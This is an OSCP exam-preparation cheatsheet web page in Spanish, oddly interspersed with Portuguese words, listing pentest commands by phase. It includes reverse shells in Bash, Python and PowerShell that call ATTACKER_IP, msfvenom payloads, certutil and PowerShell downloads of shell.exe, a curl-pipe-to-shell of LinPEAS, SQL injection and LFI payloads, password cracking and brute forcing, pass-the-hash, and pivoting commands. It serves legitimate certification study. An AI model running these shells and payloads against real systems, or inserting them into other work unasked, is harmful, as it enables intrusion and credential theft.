Cheatsheet OSCP 2026

150+ comandos esenciales organizados por fase del examen OSCP. Desde la enumeración inicial hasta la escalada de privilégios, Active Directory, pivoting y redacción de informes — todo lo que necesitas para aprobar.

Última actualización:

Navegación rápida

01 Enumeración 02 Exploração Web 03 Shells y Payloads 04 Privesc Linux 05 Privesc Windows 06 Active Directory 07 Pivoting y Tunneling 08 Ataques de senhas 09 Transferencia de archivos 10 Consejos para el examen

# Enumeración

La enumeración lo es todo en el OSCP. Dedica el 80% de tu tiempo aquí. Escanea todos los puertos, enumera todos los serviços.

Nmap — Estrategia de escaneo completo

nmap -p- --min-rate=1000 -T4 TARGET_IP -oN ports.txt
Paso 1: Escaneo rápido de todos los puertos TCP para descubrir puertos abiertos
nmap -p OPEN_PORTS -sC -sV -oA detailed TARGET_IP
Paso 2: Escaneo dirigido con scripts + detección de versión en los puertos descubiertos
nmap -sU --top-ports 200 --min-rate=1000 TARGET_IP
¡No olvides UDP! Escanea los 200 puertos UDP más comunes

Enumeración Web

feroxbuster -u http://TARGET -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -x php,html,txt,bak -t 50
Força bruta de directorios con extensiones comunes (php, txt, bak son oro en OSCP)
whatweb http://TARGET && curl -s http://TARGET -I
Identificar tecnologías web y cabeceras del servidor
nikto -h http://TARGET -C all
Escáner de vulnerabilidades web — encuentra misconfiguraciones y archivos por defecto

Enumeración SMB

smbclient -N -L //TARGET
Listar recursos compartidos SMB con sesión nula (sin contraseña)
enum4linux-ng -A TARGET
Enumeración completa SMB/RPC — usuários, recursos, grupos, política de senhas
crackmapexec smb TARGET -u '' -p '' --shares
Enumerar recursos compartidos legibles con CrackMapExec

SNMP, LDAP, DNS

snmpwalk -v2c -c public TARGET 1.3.6.1.2.1
SNMP walk con community string "public" — puede filtrar nombres de usuario, procesos
ldapsearch -H ldap://TARGET -x -b "DC=domain,DC=local" -s sub "(objectClass=user)" sAMAccountName
Consulta LDAP anónima para enumerar usuários del dominio
dig axfr @TARGET DOMAIN.LOCAL
Intento de transferencia de zona DNS

# Exploração Web

Injeção SQL, bypass de upload, inyección de comandos — lo fundamental de las boxes web OSCP.

Injeção SQL

sqlmap -u "http://TARGET/page?id=1" --batch --dbs
Detección automática de SQLi — enumerar bases de datos
sqlmap -r request.txt --batch --level 5 --risk 3 --os-shell
SQLi desde petición Burp — obtener un shell del SO si es posible

Bypass de subida de archivos

cp /usr/share/webshells/php/php-reverse-shell.php shell.php.jpg
Bypass de doble extensión — subir como .php.jpg

Inyección de comandos

; whoami
Prueba básica de inyección de comando (prueba también | whoami, `whoami`, $(whoami))

Inclusión de archivos (LFI/RFI)

curl "http://TARGET/page?file=../../../etc/passwd"
LFI — leer /etc/passwd mediante path traversal
curl "http://TARGET/page?file=php://filter/convert.base64-encode/resource=config.php"
Wrapper PHP filter — leer código fuente como base64

# Shells y Payloads

Reverse shells, bind shells y generación de payloads — apréndetelos de memoria para el examen.

Reverse Shells

bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
Reverse shell Bash — el clásico
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
Reverse shell Python3
powershell -nop -c "$c=New-Object Net.Sockets.TCPClient('ATTACKER_IP',4444);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$s.Write(([text.encoding]::ASCII.GetBytes($r)),0,$r.Length)}"
Reverse shell PowerShell — para alvos Windows

Melhore del shell

python3 -c 'import pty;pty.spawn("/bin/bash")'
Paso 1: Generar un shell PTY
export TERM=xterm && stty raw -echo; fg
Paso 2: TTY interactivo completo (Ctrl+Z primero, luego ejecuta esto)

Payloads Msfvenom

msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f exe -o shell.exe
EXE reverse shell Windows x64
msfvenom -p linux/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f elf -o shell.elf
Binario ELF reverse shell Linux x64

# Escalada de privilégios Linux

El OSCP ama el privesc Linux. Comprueba SUID, capabilities, cron jobs, rutas escribibles, versión del kernel.

💡 Consejo OSCP: Siempre ejecuta LinPEAS primero. Luego verifica manualmente los descobertas.
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
Ejecutar LinPEAS directamente — resalta vectores de privesc en color
find / -perm -4000 -type f 2>/dev/null
Encontrar todos los binarios SUID — verifica cada uno en GTFOBins
sudo -l
Verificar qué puedes ejecutar como root — el vector de privesc #1
getcap -r / 2>/dev/null
Encontrar binarios con capabilities (cap_setuid = root instantáneo)
cat /etc/crontab && ls -la /etc/cron*
Verificar cron jobs — ¿scripts escribibles ejecutándose como root?
find / -writable -type f 2>/dev/null | grep -v proc
Encontrar archivos escribibles por todos — potencial de path hijacking
uname -a && cat /etc/os-release
Verificar versión del kernel — buscar exploits de kernel

# Escalada de privilégios Windows

Serviços, tokens, AlwaysInstallElevated, rutas de serviços sin comillas, potatoes — los clásicos OSCP.

💡 Consejo OSCP: Ejecuta WinPEAS + PowerUp.ps1 — juntos detectan la mayoría de vectores.
.\winPEASx64.exe
WinPEAS — verificación automatizada de escalada de privilégios Windows
powershell -ep bypass -c ". .\PowerUp.ps1; Invoke-AllChecks"
PowerUp — encuentra misconfiguraciones, permisos débiles, rutas sin comillas
whoami /priv
Verificar privilegios del token actual — ¿SeImpersonate? ¿SeBackup?
.\GodPotato.exe -cmd "cmd /c whoami"
GodPotato — SYSTEM instantáneo desde SeImpersonatePrivilege (funciona en Windows modernos)
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
Verificar AlwaysInstallElevated — si es 1, genera payload MSI para SYSTEM
wmic service get name,pathname,startmode | findstr /i /v "C:\Windows"
Encontrar rutas de serviços sin comillas — potencial de hijacking de binario

# Pivoting y Tunneling

Alcanzar redes internas a través de hosts comprometidos. Chisel, túneles SSH, ligolo — imprescindible para OSCP.

Chisel (Recomendado)

./chisel server -p 8080 --reverse
En tu Kali: iniciar servidor Chisel en modo reverse
./chisel client ATTACKER_IP:8080 R:socks
En el alvo: conexión de vuelta, crea proxy SOCKS5 en puerto 1080 de Kali
proxychains4 nmap -sT -Pn -p 445,3389,5985 INTERNAL_IP
Escanear rede interna a través del proxy SOCKS

Túneles SSH

ssh -L 8080:INTERNAL_IP:80 user@PIVOT_IP
Port forward local — acceder al web interno en localhost:8080
ssh -D 1080 user@PIVOT_IP
Proxy SOCKS dinámico por SSH — usar con proxychains

# Ataques de senhas

Crackear hashes, força bruta de logins — hashcat y John son tus mejores aliados.

hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt --force
Crackear hashes Kerberoast (TGS-REP tipo 23)
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt --force
Crackear hashes AS-REP roast
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
John the Ripper — detecta automáticamente el tipo de hash y crackea
hydra -l admin -P /usr/share/wordlists/rockyou.txt TARGET http-post-form "/login:user=^USER^&pass=^PASS^:F=Invalid"
Força bruta de login web con Hydra

# Transferencia de archivos

Llevar ferramentas al alvo y exfiltrar datos. Múltiples métodos para diferentes situaciones.

Alvos Linux

python3 -m http.server 8000
En Kali: iniciar servidor HTTP para servir archivos
wget http://ATTACKER_IP:8000/linpeas.sh -O /tmp/linpeas.sh && chmod +x /tmp/linpeas.sh
En el alvo: descargar y dar permisos de ejecución

Alvos Windows

certutil -urlcache -split -f http://ATTACKER_IP:8000/shell.exe C:\Windows\Temp\shell.exe
Descarga con Certutil — funciona en la mayoría de versiones de Windows
powershell -c "(New-Object Net.WebClient).DownloadFile('http://ATTACKER_IP:8000/shell.exe','C:\Windows\Temp\shell.exe')"
Descarga PowerShell — alternativa a certutil

# Consejos para el examen OSCP

Estrategia y mentalidad para las 23h45 de examen. Estos consejos vienen de cientos de experiencias OSCP.

⏱️ Gestión del tiempo: No pases mais de 2 horas en una sola máquina. Si estás atascado, pasa a otra y vuelve después con ojos frescos.
📝 Documenta todo: Haz capturas de pantalla en cada paso. No dejes el informe para el final — pega las evidencias en tu plantilla durante el examen.
🎯 Empieza por las boxes fáciles: Las máquinas standalone (no-AD) suelen ser más rápidas de rootear. Asegura esos puntos primero.
🔁 Enumera más profundamente: Si estás atascado, no has enumerado lo suficiente. Relanza escaneos con otras wordlists, revisa todos los puertos, mira el código fuente.
🏠 Set AD = 40 puntos: La cadena AD es el bloque de puntos más grande. Pratique con boxes AD en HackTheBox y TryHackMe antes del examen.
💤 Toma descansos: Duerme 2-4 horas durante el examen. Volver descansado suele llevar a resolver lo que te tenía atascado.

❓ Preguntas frecuentes sobre el OSCP

El examen OSCP es un examen práctico de 23h45. Incluye una cadena de Active Directory de 40 puntos y 3 máquinas independientes de 20 puntos cada una. Necesitas 70 puntos para aprobar. Es obligatorio un relatório profissional entregado dentro de las 24 horas posteriores al examen.

La mayoría de ferramentas de pentest comunes están permitidas: nmap, Burp Suite, sqlmap, Metasploit (limitado a una máquina), linpeas, winpeas, crackmapexec, impacket, BloodHound. La asistencia con IA está prohibida. La lista completa está en la guía de examen de OffSec.

La enumeración. El consenso de la comunidad OSCP es: si estás atascado, no has enumerado lo suficiente. Escanea los 65535 puertos TCP, revisa UDP, enumera cada serviço encontrado y lee el código fuente con atención.

La mayoría de los candidatos necesitan de 3 a 6 meses de práctica dedicada en plataformas como HackTheBox, TryHackMe y los labs OffSec PG Practice. La experiencia previa en Linux y redes reduce significativamente el tiempo de preparación.

El Kerberoasting es un ataque de Active Directory que solicita tickets de serviço para cuentas con SPN y los crackea offline. Usa impacket-GetUserSPNs para extraer los hashes y hashcat (-m 13100) para crackearlos con rockyou.txt.

En Linux: configuraciones sudo incorrectas, binarios SUID, abuso de tareas cron, rutas escribibles en PATH. En Windows: SeImpersonatePrivilege (Potatoes), rutas de serviço sin comillas, AlwaysInstallElevated, DLL hijacking. Ejecuta siempre LinPEAS/WinPEAS primero.

Sí, pero solo en una máquina durante todo el examen (incluido meterpreter). Elige con cuidado — resérvalo para una máquina donde la exploração manual llevaría demasiado tiempo.

OSCP+ es el itinerario de certificação actualizado de OffSec con módulos adicionales sobre ataques a Active Directory, pivoting avançado y desarrollo de exploits. El formato del examen práctico de 23h45 es el mismo, pero los candidatos a OSCP+ necesitan habilidades de AD más sólidas para completar la cadena.

Pass-the-Hash usa un hash NTLM para autenticarse sin conocer la contraseña en texto plano. Usa impacket-psexec DOMAIN/user@TARGET -hashes :NTLM_HASH o evil-winrm -i TARGET -u user -H NTLM_HASH. Solo funciona contra autenticación NTLM, no Kerberos.

El patrón BOF de OSCP: 1) fuzzear para encontrar el crash, 2) hallar el offset exacto de EIP con msf-pattern_create/offset, 3) identificar los bad characters, 4) encontrar un gadget JMP ESP con !mona jmp -r esp, 5) generar el shellcode con msfvenom -p windows/shell_reverse_tcp -b BADCHARS -f python. Pratique en la room Buffer Overflow Prep de TryHackMe.

📚 Recursos Relacionados

✨
Relatório de pentest asistido por IA

Transforma tus descobertas en un informe PDF profesional. La IA rellena CVE, CVSS y severidad automáticamente.

Testar gratuitamente →

¿Quieres los 12.020+ comandos?

Esta cheatsheet es solo la superficie. Pentest Mindmap organiza 12.020+ comandos en 34 categorias con pesquisa instantânea y copia en un clic.

Criar uma conta gratuito →
📎 ¿Te resulta útil esta cheatsheet?